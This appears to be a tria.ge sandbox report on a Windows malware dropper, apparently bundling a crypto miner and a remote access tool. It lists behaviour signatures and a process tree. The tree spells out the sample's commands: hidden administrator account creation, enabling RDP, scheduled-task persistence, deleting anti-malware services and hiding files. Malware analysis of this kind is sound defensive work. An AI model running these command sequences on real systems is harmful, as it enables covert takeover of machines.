Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/08/2024, 01:26 UTC

General

  • Target

    39e6a32ee280960f6e4e2d4e38fb25e96ae8f5bd163bafb8ffeab87e2216e639.exe

  • Size

    11.9MB

  • MD5

    387139f87dc3b8dd527bf15b64abd197

  • SHA1

    65e227af49ed8a2015e9e9723507e261c9187e23

  • SHA256

    39e6a32ee280960f6e4e2d4e38fb25e96ae8f5bd163bafb8ffeab87e2216e639

  • SHA512

    3a9ba9a823f21f5d7620698ae6c96ff32c6646110a8fa1c652c3e1e39e59f58904244d65e5f9cd5da6e408f7515f9db62b2f13c16a8e54489fc88e0780c70ade

  • SSDEEP

    196608:GCKv7RIWTxeDn55W47M0X30MiDdavptV4KYi8ybgXTal7IEbPujUJC/Ea:FcR9Tw5JMs01DgvialcEbPuj4C8a

Malware Config

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs
  • Modifies visiblity of hidden/system files in Explorer 2 TTPs 1 IoCs
  • RMS

    Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.

  • UAC bypass 3 TTPs 3 IoCs
  • Windows security bypass 2 TTPs 1 IoCs
  • XMRig Miner payload 2 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Remote Service Session Hijacking: RDP Hijacking 1 TTPs 2 IoCs

    Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.

  • Blocks application from running via registry modification 13 IoCs

    Adds application to list of disallowed applications.

  • Drops file in Drivers directory 2 IoCs
  • Modifies Windows Firewall 2 TTPs 7 IoCs
  • Server Software Component: Terminal Services DLL 1 TTPs 1 IoCs
  • Sets file to hidden 1 TTPs 3 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Stops running service(s) 4 TTPs
  • ACProtect 1.3x - 1.4x DLL software 2 IoCs

    Detects file using ACProtect software.

  • ASPack v2.12-2.42 2 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Checks computer location settings 2 TTPs 9 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 20 IoCs
  • Loads dropped DLL 1 IoCs
  • Modifies file permissions 1 TTPs 56 IoCs
  • UPX packed file 5 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Modifies WinLogon 2 TTPs 7 IoCs
  • Password Policy Discovery 1 TTPs

    Attempt to access detailed information about the password policy used within an enterprise network.

  • AutoIT Executable 6 IoCs

    AutoIT scripts compiled to PE executables.

  • Drops file in System32 directory 3 IoCs
  • Hide Artifacts: Hidden Users 1 TTPs 4 IoCs
  • Drops file in Program Files directory 26 IoCs
  • Launches sc.exe 13 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 21 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 5 IoCs
  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Kills process with taskkill 3 IoCs
  • Modifies registry class 6 IoCs
  • NTFS ADS 1 IoCs
  • Runs .reg file with regedit 2 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious behavior: LoadsDriver 3 IoCs
  • Suspicious behavior: SetClipboardViewer 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 13 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 5 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\39e6a32ee280960f6e4e2d4e38fb25e96ae8f5bd163bafb8ffeab87e2216e639.exe
    "C:\Users\Admin\AppData\Local\Temp\39e6a32ee280960f6e4e2d4e38fb25e96ae8f5bd163bafb8ffeab87e2216e639.exe"
    1⤵
    • Modifies Windows Defender Real-time Protection settings
    • Blocks application from running via registry modification
    • Drops file in Drivers directory
    • Checks computer location settings
    • Adds Run key to start application
    • Modifies WinLogon
    • Hide Artifacts: Hidden Users
    • Drops file in Program Files directory
    • NTFS ADS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:208
    • C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\SystemC" /TR "C:\Programdata\RealtekHD\taskhostw.exe" /SC MINUTE /MO 15
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:4888
    • C:\ProgramData\Microsoft\Intel\wini.exe
      C:\ProgramData\Microsoft\Intel\wini.exe -pnaxui
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:4816
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\Windows\install.vbs"
        3⤵
        • Checks computer location settings
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4248
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Programdata\Windows\install.bat" "
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4448
          • C:\Windows\SysWOW64\regedit.exe
            regedit /s "reg1.reg"
            5⤵
            • UAC bypass
            • Windows security bypass
            • Hide Artifacts: Hidden Users
            • System Location Discovery: System Language Discovery
            • Runs .reg file with regedit
            PID:452
          • C:\Windows\SysWOW64\regedit.exe
            regedit /s "reg2.reg"
            5⤵
            • System Location Discovery: System Language Discovery
            • Runs .reg file with regedit
            PID:3896
          • C:\Windows\SysWOW64\timeout.exe
            timeout 2
            5⤵
            • Delays execution with timeout.exe
            PID:5096
          • C:\ProgramData\Windows\rutserv.exe
            rutserv.exe /silentinstall
            5⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:4692
          • C:\ProgramData\Windows\rutserv.exe
            rutserv.exe /firewall
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of SetWindowsHookEx
            PID:1564
          • C:\ProgramData\Windows\rutserv.exe
            rutserv.exe /start
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:4092
          • C:\Windows\SysWOW64\attrib.exe
            ATTRIB +H +S C:\Programdata\Windows\*.*
            5⤵
            • Views/modifies file attributes
            PID:2720
          • C:\Windows\SysWOW64\attrib.exe
            ATTRIB +H +S C:\Programdata\Windows
            5⤵
            • System Location Discovery: System Language Discovery
            • Views/modifies file attributes
            PID:2756
          • C:\Windows\SysWOW64\sc.exe
            sc failure RManService reset= 0 actions= restart/1000/restart/1000/restart/1000
            5⤵
            • Launches sc.exe
            PID:1196
          • C:\Windows\SysWOW64\sc.exe
            sc config RManService obj= LocalSystem type= interact type= own
            5⤵
            • Launches sc.exe
            PID:4700
          • C:\Windows\SysWOW64\sc.exe
            sc config RManService DisplayName= "Microsoft Framework"
            5⤵
            • Launches sc.exe
            PID:1344
      • C:\ProgramData\Windows\winit.exe
        "C:\ProgramData\Windows\winit.exe"
        3⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:5024
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c C:\Programdata\Install\del.bat
          4⤵
            PID:992
            • C:\Windows\SysWOW64\timeout.exe
              timeout 5
              5⤵
              • Delays execution with timeout.exe
              PID:1056
      • C:\programdata\install\cheat.exe
        C:\programdata\install\cheat.exe -pnaxui
        2⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1392
        • C:\ProgramData\Microsoft\Intel\taskhost.exe
          "C:\ProgramData\Microsoft\Intel\taskhost.exe"
          3⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Suspicious use of SetWindowsHookEx
          PID:4036
          • C:\Programdata\RealtekHD\taskhostw.exe
            C:\Programdata\RealtekHD\taskhostw.exe
            4⤵
            • Executes dropped EXE
            • Adds Run key to start application
            • Suspicious behavior: GetForegroundWindowSpam
            • Suspicious use of SetWindowsHookEx
            PID:1148
          • C:\ProgramData\Microsoft\Intel\R8.exe
            C:\ProgramData\Microsoft\Intel\R8.exe
            4⤵
            • Checks computer location settings
            • Executes dropped EXE
            • Modifies registry class
            • Suspicious use of SetWindowsHookEx
            PID:3100
            • C:\Windows\SysWOW64\WScript.exe
              "C:\Windows\System32\WScript.exe" "C:\rdp\run.vbs"
              5⤵
              • Checks computer location settings
              PID:3512
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c ""C:\rdp\pause.bat" "
                6⤵
                • Checks computer location settings
                • Modifies registry class
                PID:2860
                • C:\Windows\SysWOW64\taskkill.exe
                  taskkill /f /im Rar.exe
                  7⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:840
                • C:\Windows\SysWOW64\taskkill.exe
                  taskkill /f /im Rar.exe
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4728
                • C:\Windows\SysWOW64\timeout.exe
                  timeout 3
                  7⤵
                  • Delays execution with timeout.exe
                  PID:3648
                • C:\Windows\SysWOW64\chcp.com
                  chcp 1251
                  7⤵
                    PID:5012
                  • C:\rdp\Rar.exe
                    "Rar.exe" e -p555 db.rar
                    7⤵
                    • Executes dropped EXE
                    PID:3016
                  • C:\Windows\SysWOW64\taskkill.exe
                    taskkill /f /im Rar.exe
                    7⤵
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2468
                  • C:\Windows\SysWOW64\timeout.exe
                    timeout 2
                    7⤵
                    • System Location Discovery: System Language Discovery
                    • Delays execution with timeout.exe
                    PID:4264
                  • C:\Windows\SysWOW64\WScript.exe
                    "C:\Windows\System32\WScript.exe" "C:\rdp\install.vbs"
                    7⤵
                    • Checks computer location settings
                    PID:596
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c ""C:\rdp\bat.bat" "
                      8⤵
                        PID:1592
                        • C:\Windows\SysWOW64\reg.exe
                          reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0 /f
                          9⤵
                            PID:3348
                          • C:\Windows\SysWOW64\reg.exe
                            reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fAllowToGetHelp" /t REG_DWORD /d 1 /f
                            9⤵
                              PID:3668
                            • C:\Windows\SysWOW64\netsh.exe
                              netsh.exe advfirewall firewall add rule name="allow RDP" dir=in protocol=TCP localport=3389 action=allow
                              9⤵
                              • Modifies Windows Firewall
                              • Event Triggered Execution: Netsh Helper DLL
                              PID:3052
                            • C:\Windows\SysWOW64\net.exe
                              net.exe user "john" "12345" /add
                              9⤵
                                PID:1140
                                • C:\Windows\SysWOW64\net1.exe
                                  C:\Windows\system32\net1 user "john" "12345" /add
                                  10⤵
                                    PID:3296
                                • C:\Windows\SysWOW64\chcp.com
                                  chcp 1251
                                  9⤵
                                    PID:2432
                                  • C:\Windows\SysWOW64\net.exe
                                    net localgroup "Администраторы" "John" /add
                                    9⤵
                                      PID:2948
                                      • C:\Windows\SysWOW64\net1.exe
                                        C:\Windows\system32\net1 localgroup "Администраторы" "John" /add
                                        10⤵
                                          PID:1444
                                      • C:\Windows\SysWOW64\net.exe
                                        net localgroup "Administratorzy" "John" /add
                                        9⤵
                                          PID:2636
                                          • C:\Windows\SysWOW64\net1.exe
                                            C:\Windows\system32\net1 localgroup "Administratorzy" "John" /add
                                            10⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:1528
                                        • C:\Windows\SysWOW64\net.exe
                                          net localgroup "Administrators" John /add
                                          9⤵
                                            PID:3104
                                            • C:\Windows\SysWOW64\net1.exe
                                              C:\Windows\system32\net1 localgroup "Administrators" John /add
                                              10⤵
                                                PID:2188
                                            • C:\Windows\SysWOW64\net.exe
                                              net localgroup "Administradores" John /add
                                              9⤵
                                                PID:4848
                                                • C:\Windows\SysWOW64\net1.exe
                                                  C:\Windows\system32\net1 localgroup "Administradores" John /add
                                                  10⤵
                                                    PID:596
                                                • C:\Windows\SysWOW64\net.exe
                                                  net localgroup "Пользователи удаленного рабочего стола" John /add
                                                  9⤵
                                                  • System Location Discovery: System Language Discovery
                                                  PID:412
                                                  • C:\Windows\SysWOW64\net1.exe
                                                    C:\Windows\system32\net1 localgroup "Пользователи удаленного рабочего стола" John /add
                                                    10⤵
                                                      PID:1932
                                                  • C:\Windows\SysWOW64\net.exe
                                                    net localgroup "Пользователи удаленного управления" John /add
                                                    9⤵
                                                      PID:724
                                                      • C:\Windows\SysWOW64\net1.exe
                                                        C:\Windows\system32\net1 localgroup "Пользователи удаленного управления" John /add
                                                        10⤵
                                                        • System Location Discovery: System Language Discovery
                                                        PID:660
                                                    • C:\Windows\SysWOW64\net.exe
                                                      net localgroup "Remote Desktop Users" John /add
                                                      9⤵
                                                      • Remote Service Session Hijacking: RDP Hijacking
                                                      • System Location Discovery: System Language Discovery
                                                      PID:4304
                                                      • C:\Windows\SysWOW64\net1.exe
                                                        C:\Windows\system32\net1 localgroup "Remote Desktop Users" John /add
                                                        10⤵
                                                        • Remote Service Session Hijacking: RDP Hijacking
                                                        PID:3528
                                                    • C:\Windows\SysWOW64\net.exe
                                                      net localgroup "Usuarios de escritorio remoto" John /add
                                                      9⤵
                                                      • System Location Discovery: System Language Discovery
                                                      PID:3296
                                                      • C:\Windows\SysWOW64\net1.exe
                                                        C:\Windows\system32\net1 localgroup "Usuarios de escritorio remoto" John /add
                                                        10⤵
                                                        • System Location Discovery: System Language Discovery
                                                        PID:4780
                                                    • C:\Windows\SysWOW64\net.exe
                                                      net localgroup "Uzytkownicy pulpitu zdalnego" John /add
                                                      9⤵
                                                      • System Location Discovery: System Language Discovery
                                                      PID:4264
                                                      • C:\Windows\SysWOW64\net1.exe
                                                        C:\Windows\system32\net1 localgroup "Uzytkownicy pulpitu zdalnego" John /add
                                                        10⤵
                                                          PID:812
                                                      • C:\rdp\RDPWInst.exe
                                                        "RDPWInst.exe" -i -o
                                                        9⤵
                                                        • Server Software Component: Terminal Services DLL
                                                        • Executes dropped EXE
                                                        • Modifies WinLogon
                                                        • Drops file in System32 directory
                                                        • Drops file in Program Files directory
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:2188
                                                        • C:\Windows\SYSTEM32\netsh.exe
                                                          netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
                                                          10⤵
                                                          • Modifies Windows Firewall
                                                          • Event Triggered Execution: Netsh Helper DLL
                                                          PID:1152
                                                      • C:\rdp\RDPWInst.exe
                                                        "RDPWInst.exe" -w
                                                        9⤵
                                                        • Executes dropped EXE
                                                        PID:4220
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "john" /t REG_DWORD /d 0 /f
                                                        9⤵
                                                        • Hide Artifacts: Hidden Users
                                                        PID:4620
                                                      • C:\Windows\SysWOW64\net.exe
                                                        net accounts /maxpwage:unlimited
                                                        9⤵
                                                        • System Location Discovery: System Language Discovery
                                                        PID:2216
                                                        • C:\Windows\SysWOW64\net1.exe
                                                          C:\Windows\system32\net1 accounts /maxpwage:unlimited
                                                          10⤵
                                                            PID:2552
                                                        • C:\Windows\SysWOW64\attrib.exe
                                                          attrib +s +h "C:\Program Files\RDP Wrapper\*.*"
                                                          9⤵
                                                          • Sets file to hidden
                                                          • Drops file in Program Files directory
                                                          • Views/modifies file attributes
                                                          PID:4448
                                                        • C:\Windows\SysWOW64\attrib.exe
                                                          attrib +s +h "C:\Program Files\RDP Wrapper"
                                                          9⤵
                                                          • Sets file to hidden
                                                          • Drops file in Program Files directory
                                                          • System Location Discovery: System Language Discovery
                                                          • Views/modifies file attributes
                                                          PID:3520
                                                        • C:\Windows\SysWOW64\attrib.exe
                                                          attrib +s +h "C:\rdp"
                                                          9⤵
                                                          • Sets file to hidden
                                                          • Views/modifies file attributes
                                                          PID:1992
                                                    • C:\Windows\SysWOW64\timeout.exe
                                                      timeout 2
                                                      7⤵
                                                      • Delays execution with timeout.exe
                                                      PID:4824
                                              • C:\Windows\SysWOW64\cmd.exe
                                                C:\Windows\system32\cmd.exe /c C:\programdata\microsoft\temp\H.bat
                                                4⤵
                                                • Drops file in Drivers directory
                                                • System Location Discovery: System Language Discovery
                                                PID:4884
                                              • C:\Windows\SysWOW64\schtasks.exe
                                                "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\RealtekHDControl" /TR "C:\Programdata\RealtekHD\taskhost.exe" /SC MINUTE /MO 1 /RL HIGHEST
                                                4⤵
                                                • System Location Discovery: System Language Discovery
                                                • Scheduled Task/Job: Scheduled Task
                                                PID:4304
                                                • C:\Windows\System32\Conhost.exe
                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                  5⤵
                                                    PID:4728
                                                • C:\Windows\SysWOW64\schtasks.exe
                                                  "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\RealtekHDStartUP" /TR "C:\Programdata\RealtekHD\taskhost.exe" /SC ONLOGON /RL HIGHEST
                                                  4⤵
                                                  • Scheduled Task/Job: Scheduled Task
                                                  PID:1444
                                                • C:\Windows\SysWOW64\schtasks.exe
                                                  "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\Cleaner" /TR "C:\Programdata\WindowsTask\winlogon.exe" /SC ONLOGON /RL HIGHEST
                                                  4⤵
                                                  • Scheduled Task/Job: Scheduled Task
                                                  PID:4212
                                            • C:\Windows\SysWOW64\cmd.exe
                                              C:\Windows\system32\cmd.exe /c sc start appidsvc
                                              2⤵
                                              • Suspicious use of WriteProcessMemory
                                              PID:4508
                                              • C:\Windows\SysWOW64\sc.exe
                                                sc start appidsvc
                                                3⤵
                                                • Launches sc.exe
                                                PID:3868
                                            • C:\Windows\SysWOW64\cmd.exe
                                              C:\Windows\system32\cmd.exe /c sc start appmgmt
                                              2⤵
                                              • Suspicious use of WriteProcessMemory
                                              PID:4156
                                              • C:\Windows\SysWOW64\sc.exe
                                                sc start appmgmt
                                                3⤵
                                                • Launches sc.exe
                                                • System Location Discovery: System Language Discovery
                                                PID:2380
                                            • C:\Windows\SysWOW64\cmd.exe
                                              C:\Windows\system32\cmd.exe /c sc config appidsvc start= auto
                                              2⤵
                                                PID:1140
                                                • C:\Windows\SysWOW64\sc.exe
                                                  sc config appidsvc start= auto
                                                  3⤵
                                                  • Launches sc.exe
                                                  PID:992
                                              • C:\Windows\SysWOW64\cmd.exe
                                                C:\Windows\system32\cmd.exe /c sc config appmgmt start= auto
                                                2⤵
                                                  PID:1056
                                                  • C:\Windows\SysWOW64\sc.exe
                                                    sc config appmgmt start= auto
                                                    3⤵
                                                    • Launches sc.exe
                                                    • System Location Discovery: System Language Discovery
                                                    PID:3100
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c sc delete swprv
                                                  2⤵
                                                    PID:4092
                                                    • C:\Windows\SysWOW64\sc.exe
                                                      sc delete swprv
                                                      3⤵
                                                      • Launches sc.exe
                                                      PID:3740
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c sc stop mbamservice
                                                    2⤵
                                                      PID:4520
                                                      • C:\Windows\SysWOW64\sc.exe
                                                        sc stop mbamservice
                                                        3⤵
                                                        • Launches sc.exe
                                                        PID:2432
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c sc stop bytefenceservice
                                                      2⤵
                                                      • System Location Discovery: System Language Discovery
                                                      PID:1128
                                                      • C:\Windows\SysWOW64\sc.exe
                                                        sc stop bytefenceservice
                                                        3⤵
                                                        • Launches sc.exe
                                                        PID:3060
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c sc delete bytefenceservice
                                                      2⤵
                                                        PID:1344
                                                        • C:\Windows\SysWOW64\sc.exe
                                                          sc delete bytefenceservice
                                                          3⤵
                                                          • Launches sc.exe
                                                          PID:1140
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c sc delete mbamservice
                                                        2⤵
                                                          PID:1568
                                                          • C:\Windows\SysWOW64\sc.exe
                                                            sc delete mbamservice
                                                            3⤵
                                                            • Launches sc.exe
                                                            PID:1412
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c sc delete crmsvc
                                                          2⤵
                                                          • System Location Discovery: System Language Discovery
                                                          PID:5112
                                                          • C:\Windows\SysWOW64\sc.exe
                                                            sc delete crmsvc
                                                            3⤵
                                                            • Launches sc.exe
                                                            PID:4984
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state on
                                                          2⤵
                                                            PID:4344
                                                            • C:\Windows\SysWOW64\netsh.exe
                                                              netsh advfirewall set allprofiles state on
                                                              3⤵
                                                              • Modifies Windows Firewall
                                                              • Event Triggered Execution: Netsh Helper DLL
                                                              • System Location Discovery: System Language Discovery
                                                              PID:4520
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Blocking" protocol=TCP localport=445 action=block dir=IN
                                                            2⤵
                                                            • System Location Discovery: System Language Discovery
                                                            PID:2828
                                                            • C:\Windows\SysWOW64\netsh.exe
                                                              netsh advfirewall firewall add rule name="Port Blocking" protocol=TCP localport=445 action=block dir=IN
                                                              3⤵
                                                              • Modifies Windows Firewall
                                                              • Event Triggered Execution: Netsh Helper DLL
                                                              PID:4884
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Blocking" protocol=UDP localport=445 action=block dir=IN
                                                            2⤵
                                                              PID:2860
                                                              • C:\Windows\SysWOW64\netsh.exe
                                                                netsh advfirewall firewall add rule name="Port Blocking" protocol=UDP localport=445 action=block dir=IN
                                                                3⤵
                                                                • Modifies Windows Firewall
                                                                • Event Triggered Execution: Netsh Helper DLL
                                                                • System Location Discovery: System Language Discovery
                                                                PID:1140
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Block" protocol=TCP localport=139 action=block dir=IN
                                                              2⤵
                                                                PID:1668
                                                                • C:\Windows\SysWOW64\netsh.exe
                                                                  netsh advfirewall firewall add rule name="Port Block" protocol=TCP localport=139 action=block dir=IN
                                                                  3⤵
                                                                  • Modifies Windows Firewall
                                                                  • Event Triggered Execution: Netsh Helper DLL
                                                                  PID:1192
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Block" protocol=UDP localport=139 action=block dir=IN
                                                                2⤵
                                                                  PID:4412
                                                                  • C:\Windows\SysWOW64\netsh.exe
                                                                    netsh advfirewall firewall add rule name="Port Block" protocol=UDP localport=139 action=block dir=IN
                                                                    3⤵
                                                                    • Modifies Windows Firewall
                                                                    • Event Triggered Execution: Netsh Helper DLL
                                                                    PID:212
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Microsoft JDX" /deny %username%:(OI)(CI)(F)
                                                                  2⤵
                                                                    PID:4740
                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                      icacls "C:\Program Files (x86)\Microsoft JDX" /deny Admin:(OI)(CI)(F)
                                                                      3⤵
                                                                      • Modifies file permissions
                                                                      PID:2468
                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Microsoft JDX" /deny System:(OI)(CI)(F)
                                                                    2⤵
                                                                    • System Location Discovery: System Language Discovery
                                                                    PID:1148
                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                      icacls "C:\Program Files (x86)\Microsoft JDX" /deny System:(OI)(CI)(F)
                                                                      3⤵
                                                                      • Modifies file permissions
                                                                      PID:1056
                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny %username%:(OI)(CI)(F)
                                                                    2⤵
                                                                    • System Location Discovery: System Language Discovery
                                                                    PID:4884
                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                      icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny Admin:(OI)(CI)(F)
                                                                      3⤵
                                                                      • Modifies file permissions
                                                                      PID:4824
                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny System:(OI)(CI)(F)
                                                                    2⤵
                                                                    • System Location Discovery: System Language Discovery
                                                                    PID:4904
                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                      icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny System:(OI)(CI)(F)
                                                                      3⤵
                                                                      • Modifies file permissions
                                                                      PID:2792
                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny %username%:(OI)(CI)(F)
                                                                    2⤵
                                                                      PID:3912
                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                        icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny Admin:(OI)(CI)(F)
                                                                        3⤵
                                                                        • Modifies file permissions
                                                                        • System Location Discovery: System Language Discovery
                                                                        PID:1668
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      C:\Windows\system32\cmd.exe /c icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny System:(OI)(CI)(F)
                                                                      2⤵
                                                                      • System Location Discovery: System Language Discovery
                                                                      PID:660
                                                                      • C:\Windows\System32\Conhost.exe
                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                        3⤵
                                                                          PID:3060
                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                          icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny System:(OI)(CI)(F)
                                                                          3⤵
                                                                          • Modifies file permissions
                                                                          • System Location Discovery: System Language Discovery
                                                                          PID:5112
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Windows\Fonts\Mysql" /deny %username%:(OI)(CI)(F)
                                                                        2⤵
                                                                          PID:1276
                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                            icacls "C:\Windows\Fonts\Mysql" /deny Admin:(OI)(CI)(F)
                                                                            3⤵
                                                                            • Modifies file permissions
                                                                            PID:1392
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Windows\Fonts\Mysql" /deny System:(OI)(CI)(F)
                                                                          2⤵
                                                                            PID:3308
                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                              icacls "C:\Windows\Fonts\Mysql" /deny System:(OI)(CI)(F)
                                                                              3⤵
                                                                              • Modifies file permissions
                                                                              PID:4520
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c icacls "c:\program files\Internet Explorer\bin" /deny %username%:(OI)(CI)(F)
                                                                            2⤵
                                                                            • System Location Discovery: System Language Discovery
                                                                            PID:3660
                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                              icacls "c:\program files\Internet Explorer\bin" /deny Admin:(OI)(CI)(F)
                                                                              3⤵
                                                                              • Modifies file permissions
                                                                              PID:4304
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c icacls "c:\program files\Internet Explorer\bin" /deny system:(OI)(CI)(F)
                                                                            2⤵
                                                                            • System Location Discovery: System Language Discovery
